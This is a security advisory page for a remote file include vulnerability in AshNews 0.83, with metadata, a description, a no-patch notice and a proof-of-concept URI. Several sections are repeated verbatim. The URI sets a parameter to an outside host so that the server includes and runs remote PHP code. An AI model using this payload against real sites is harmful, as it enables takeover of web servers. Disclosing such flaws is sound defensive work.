AshWebStudio AshNews Remote File Include Vulnerability
BID:16436
Info
AshWebStudio AshNews Remote File Include Vulnerability
| Bugtraq ID: | 16436 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 31 2006 12:00AM |
| Updated: | Feb 07 2006 08:55PM |
| Credit: | Dan B UK <[email protected]> is credited with the discovery of this vulnerability. |
| Vulnerable: |
Ashwebstudio Ashnews 0.83 |
| Not Vulnerable: | |
Discussion
AshWebStudio AshNews Remote File Include Vulnerability
Ashnews is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the Web server process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
Ashnews is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the Web server process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
Exploit / POC
AshWebStudio AshNews Remote File Include Vulnerability
An exploit is not required.
The following proof of concept URI is available:
http://www.example.com/news/ashnews.php?pathtoashnews=http://www.example.com?
An exploit is not required.
The following proof of concept URI is available:
http://www.example.com/news/ashnews.php?pathtoashnews=http://www.example.com?
Solution / Fix
AshWebStudio AshNews Remote File Include Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]:[email protected] <mailto:[email protected]:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]:[email protected] <mailto:[email protected]:[email protected]>.